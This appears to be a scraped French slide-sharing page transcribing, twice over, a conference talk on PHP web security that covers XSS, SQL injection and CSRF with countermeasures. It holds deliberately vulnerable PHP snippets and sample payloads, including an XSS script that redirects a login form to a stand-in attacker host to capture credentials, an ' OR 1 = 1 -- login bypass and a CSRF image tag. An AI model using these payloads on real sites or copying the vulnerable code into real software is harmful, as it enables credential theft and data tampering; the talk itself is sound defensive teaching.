Ce diaporama a bien été signalé.

Introduction à la sécurité des applications web avec php [fr]

2

Partager

Chargement dans…3
×
1 sur 23
1 sur 23

Introduction à la sécurité des applications web avec php [fr]

2

Partager

Télécharger pour lire hors ligne

Description

Présentation de la conférence Sécurité web / PHP aux #NWXTECH2 par Maxime Mauchaussée / Wixiweb.
Découvrez les principes de bases de la sécurité PHP : les injections SQL, les failles XSS et CSRF et voyez comment vous en protéger simplement.

Transcription

  1. 1. Introduction à la Sécurité des  Applications Web / PHP  Principes de bases Maxime Mauchaussée  XSS  Injection SQL maxime@wixiweb.fr  CSRF @maximemdotnet http://www.wixiweb.fr @wixiweb    
  2. 2. Plan  Principes de bases de sécurisations  Failles de type XSS  Définition  Exemples / Exploitation  Contre­mesures  Failles de type SQL Injection  Définition  Exemples / Exploitation  Contre­mesures  Failles de type CSRF  Définition  Exemples / Exploitation  Contre­mesures  Conclusion    
  3. 3. Principes de bases  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Paramètres d'URL, cookies, données de formulaire, etc.  API, fichier d'import, base de données, etc.  Variables d'environnement (user agent, referer, host, etc.)  Éviter de permettre la saisie de balises HTML  L'utilisation de la balise <img> doit être extrêmement encadrée  Interdire l'utilisation des attributs dangereux tels que « style » et  « onload »  Ne jamais minimiser l'importance d'une faille  Toutes failles peut potentiellement être un jour exploitée  Corriger le plus rapidement possible toute faille découverte    
  4. 4. Failles de type XSS ­ Définition  XSS : Cross Site Scripting  Le principe est d'injecter des données arbitraires dans un  site web [...] Si ces données arrivent telles quelles dans la page  web transmise au navigateur sans avoir été vérifiées, alors il  existe une faille [Wikipedia]  Injection de code HTML ou Javascript   Le contenu injecté est utilisé pour pièger un utilisateur    
  5. 5. Failles de type XSS – Exemple basique  Exemple de site web banal :    
  6. 6. Failles de type XSS – Exemple basique Fichier de vue PHP : <form action="recherche.php" method="get"> <input type="text" name="q" value="<?php echo $_GET['q']; ?>" /> <input type="submit" value="recherche" /> </form> Données saisies et envoyées au serveur : "/><script type="text/javascript">alert('faille xss')</script><" HTML compromis retourné par le serveur : <input type="text" name="q" value=""/><script type="text/javascript">alert('faille xss')</script><"" />    
  7. 7. Failles de type XSS – Exemple basique  « PAF ! Pastèque ! » :    
  8. 8. Failles de type XSS – Exploitations  Dégradation de l'image / la réputation du site  Redirection automatique  Initialisation de téléchargement de fichiers vérolés  Vol d'identifiants  Détournement de session (hijacking)  Fixation de session    
  9. 9. Failles de type XSS – Exemples d'exploit  Détournement de l'attribut « action » du formulaire  d'authentification par injection : "/><script>document.forms[0].action='http://attaquant.fr/owned.php ';</script><"  Les utilisateurs enverront leurs identifiants vers le scripts défini  par l'attaquant  Possibilité de redirection (parfois transparente) vers la page  légitime    
  10. 10. Failles de type XSS – Contre­mesures  Filtrer / nettoyer les données en entrée :  Toute donnée a un format : longueur, bornes, etc.  filter_var() ou filter_input()  strip_tags() en second choix  Ne pas autoriser la saisie de balises HTML  Et en sortie :  htmlspecialchars()    
  11. 11. Failles de type SQL Injection ­ Définition  Injection SQL  Terme qui désigne l'interprétation imprévue d'un code SQL  dans une application. Ce code a été introduit par une voie  détournée. [CERTA]    
  12. 12. Failles de type SQL Injection – Exemple  Bypass de l'authentification :    
  13. 13. Failles de type SQL Injection – Exemple  Code PHP : mysql_query("SELECT id, login, profil FROM user WHERE login = '" . $_POST['login'] . "' AND password = '" . $_POST['password'] . "';");  Données saisies dans le champ « login » : ' OR 1 = 1 --  Interpretation de la requête SQL par PHP : SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''    
  14. 14. Failles de type SQL Injection ­ Exploitation  Cette technique permet, [...] à un utilisateur malveillant de  modifier la base de données, ou accéder à des informations qui  ne lui sont pas destinées. [CERTA]  Privilege escalation – augmentation de droit d'accès  Vols de données  Destruction de données  Injection de code malveillant    
  15. 15. Failles de type SQL Injection – Contre­mesures  addslashes() SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''  mysql_real_escape_string()  Requêtes préparées  Requêtes préparées > mysql_real_escape_string > addslashes  Ne pas utiliser le compte SQL « root » pour votre application    
  16. 16. Failles de type CSRF ­ Définition  Cross­Site Request Forgery  Injection de requêtes illégitimes par rebond [CERTA]  Attaque provoquant l'envoi de requêtes par la victime, vers un  site vulnérable, à son insu et en son nom. [CERTA]  N'exploite pas forcément l'absence de validation    
  17. 17. Failles de type CSRF – Exemple basique  Système de commentaires :    
  18. 18. Failles de type CSRF – Exemple  Un lien est fournit pour supprimer un de ses commentaires : http://sitemalfichu.fr/delete_comment?id=2  Prédiction de l'identifiant du commentaire de la victime par  l'attaquant : http://sitemalfichu.fr/delete_comment?id=1  Insertion d'une balise image dans un commentaire par  l'attaquant : <img src="http://sitemalfichu.fr/delete_comment?id=1" />   Au chargement de la page par la victime, elle supprime son  commentaire    
  19. 19. Failles de type CSRF – Exploitation  Suppression de données : message, compte utilisateur, etc.  Publication de messages : désinformation, spam, virus, etc.  Changement de mot de passe  Changement d'adresse email  Triche à des concours ou sondages    
  20. 20. Failles de type CSRF – Contre­mesures  Utiliser la méthode HTTP POST  Bannir l'utilisation de $_REQUEST  Mettre en place un système de tokens pour les actions les  plus sensibles  Interdire la possibilité de saisie de balises HTML    
  21. 21. Conclusion  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Toute donnée a un format : longeur, bornes, volume, etc.  Toujours filtrer / nettoyer ces données en entrée et en sortie  Corriger les failles le plus rapidement possible  La sécurité des applications web ne s'arrête pas là :  configuration de PHP, du serveur web, de l'infrastructure  réseau, etc.     
  22. 22. Questions ­ Réponses  Exemples de questions si vous n'avez pas d'idée :  Comment détecter de telles failles dans mon application ?  Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?  Quelles autres bonne pratiques peut on appliquer pour sécuriser des  application web ?  Qu'est ce qu'une « blind sql injection » ?  Où trouvez des informations complémentaires à ce sujet ?  Existe­t­il d'autres types de failles ?    
  23. 23. Merci de votre attention :)  Contact :  maxime@wixiweb.fr  https://twitter.com/maximemdotnet  https://identi.ca/maximemdotnet  http://www.wixiweb.fr/    

Description

Présentation de la conférence Sécurité web / PHP aux #NWXTECH2 par Maxime Mauchaussée / Wixiweb.
Découvrez les principes de bases de la sécurité PHP : les injections SQL, les failles XSS et CSRF et voyez comment vous en protéger simplement.

Transcription

  1. 1. Introduction à la Sécurité des  Applications Web / PHP  Principes de bases Maxime Mauchaussée  XSS  Injection SQL maxime@wixiweb.fr  CSRF @maximemdotnet http://www.wixiweb.fr @wixiweb    
  2. 2. Plan  Principes de bases de sécurisations  Failles de type XSS  Définition  Exemples / Exploitation  Contre­mesures  Failles de type SQL Injection  Définition  Exemples / Exploitation  Contre­mesures  Failles de type CSRF  Définition  Exemples / Exploitation  Contre­mesures  Conclusion    
  3. 3. Principes de bases  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Paramètres d'URL, cookies, données de formulaire, etc.  API, fichier d'import, base de données, etc.  Variables d'environnement (user agent, referer, host, etc.)  Éviter de permettre la saisie de balises HTML  L'utilisation de la balise <img> doit être extrêmement encadrée  Interdire l'utilisation des attributs dangereux tels que « style » et  « onload »  Ne jamais minimiser l'importance d'une faille  Toutes failles peut potentiellement être un jour exploitée  Corriger le plus rapidement possible toute faille découverte    
  4. 4. Failles de type XSS ­ Définition  XSS : Cross Site Scripting  Le principe est d'injecter des données arbitraires dans un  site web [...] Si ces données arrivent telles quelles dans la page  web transmise au navigateur sans avoir été vérifiées, alors il  existe une faille [Wikipedia]  Injection de code HTML ou Javascript   Le contenu injecté est utilisé pour pièger un utilisateur    
  5. 5. Failles de type XSS – Exemple basique  Exemple de site web banal :    
  6. 6. Failles de type XSS – Exemple basique Fichier de vue PHP : <form action="recherche.php" method="get"> <input type="text" name="q" value="<?php echo $_GET['q']; ?>" /> <input type="submit" value="recherche" /> </form> Données saisies et envoyées au serveur : "/><script type="text/javascript">alert('faille xss')</script><" HTML compromis retourné par le serveur : <input type="text" name="q" value=""/><script type="text/javascript">alert('faille xss')</script><"" />    
  7. 7. Failles de type XSS – Exemple basique  « PAF ! Pastèque ! » :    
  8. 8. Failles de type XSS – Exploitations  Dégradation de l'image / la réputation du site  Redirection automatique  Initialisation de téléchargement de fichiers vérolés  Vol d'identifiants  Détournement de session (hijacking)  Fixation de session    
  9. 9. Failles de type XSS – Exemples d'exploit  Détournement de l'attribut « action » du formulaire  d'authentification par injection : "/><script>document.forms[0].action='http://attaquant.fr/owned.php ';</script><"  Les utilisateurs enverront leurs identifiants vers le scripts défini  par l'attaquant  Possibilité de redirection (parfois transparente) vers la page  légitime    
  10. 10. Failles de type XSS – Contre­mesures  Filtrer / nettoyer les données en entrée :  Toute donnée a un format : longueur, bornes, etc.  filter_var() ou filter_input()  strip_tags() en second choix  Ne pas autoriser la saisie de balises HTML  Et en sortie :  htmlspecialchars()    
  11. 11. Failles de type SQL Injection ­ Définition  Injection SQL  Terme qui désigne l'interprétation imprévue d'un code SQL  dans une application. Ce code a été introduit par une voie  détournée. [CERTA]    
  12. 12. Failles de type SQL Injection – Exemple  Bypass de l'authentification :    
  13. 13. Failles de type SQL Injection – Exemple  Code PHP : mysql_query("SELECT id, login, profil FROM user WHERE login = '" . $_POST['login'] . "' AND password = '" . $_POST['password'] . "';");  Données saisies dans le champ « login » : ' OR 1 = 1 --  Interpretation de la requête SQL par PHP : SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''    
  14. 14. Failles de type SQL Injection ­ Exploitation  Cette technique permet, [...] à un utilisateur malveillant de  modifier la base de données, ou accéder à des informations qui  ne lui sont pas destinées. [CERTA]  Privilege escalation – augmentation de droit d'accès  Vols de données  Destruction de données  Injection de code malveillant    
  15. 15. Failles de type SQL Injection – Contre­mesures  addslashes() SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''  mysql_real_escape_string()  Requêtes préparées  Requêtes préparées > mysql_real_escape_string > addslashes  Ne pas utiliser le compte SQL « root » pour votre application    
  16. 16. Failles de type CSRF ­ Définition  Cross­Site Request Forgery  Injection de requêtes illégitimes par rebond [CERTA]  Attaque provoquant l'envoi de requêtes par la victime, vers un  site vulnérable, à son insu et en son nom. [CERTA]  N'exploite pas forcément l'absence de validation    
  17. 17. Failles de type CSRF – Exemple basique  Système de commentaires :    
  18. 18. Failles de type CSRF – Exemple  Un lien est fournit pour supprimer un de ses commentaires : http://sitemalfichu.fr/delete_comment?id=2  Prédiction de l'identifiant du commentaire de la victime par  l'attaquant : http://sitemalfichu.fr/delete_comment?id=1  Insertion d'une balise image dans un commentaire par  l'attaquant : <img src="http://sitemalfichu.fr/delete_comment?id=1" />   Au chargement de la page par la victime, elle supprime son  commentaire    
  19. 19. Failles de type CSRF – Exploitation  Suppression de données : message, compte utilisateur, etc.  Publication de messages : désinformation, spam, virus, etc.  Changement de mot de passe  Changement d'adresse email  Triche à des concours ou sondages    
  20. 20. Failles de type CSRF – Contre­mesures  Utiliser la méthode HTTP POST  Bannir l'utilisation de $_REQUEST  Mettre en place un système de tokens pour les actions les  plus sensibles  Interdire la possibilité de saisie de balises HTML    
  21. 21. Conclusion  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Toute donnée a un format : longeur, bornes, volume, etc.  Toujours filtrer / nettoyer ces données en entrée et en sortie  Corriger les failles le plus rapidement possible  La sécurité des applications web ne s'arrête pas là :  configuration de PHP, du serveur web, de l'infrastructure  réseau, etc.     
  22. 22. Questions ­ Réponses  Exemples de questions si vous n'avez pas d'idée :  Comment détecter de telles failles dans mon application ?  Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?  Quelles autres bonne pratiques peut on appliquer pour sécuriser des  application web ?  Qu'est ce qu'une « blind sql injection » ?  Où trouvez des informations complémentaires à ce sujet ?  Existe­t­il d'autres types de failles ?    
  23. 23. Merci de votre attention :)  Contact :  maxime@wixiweb.fr  https://twitter.com/maximemdotnet  https://identi.ca/maximemdotnet  http://www.wixiweb.fr/    

Plus De Contenu Connexe

×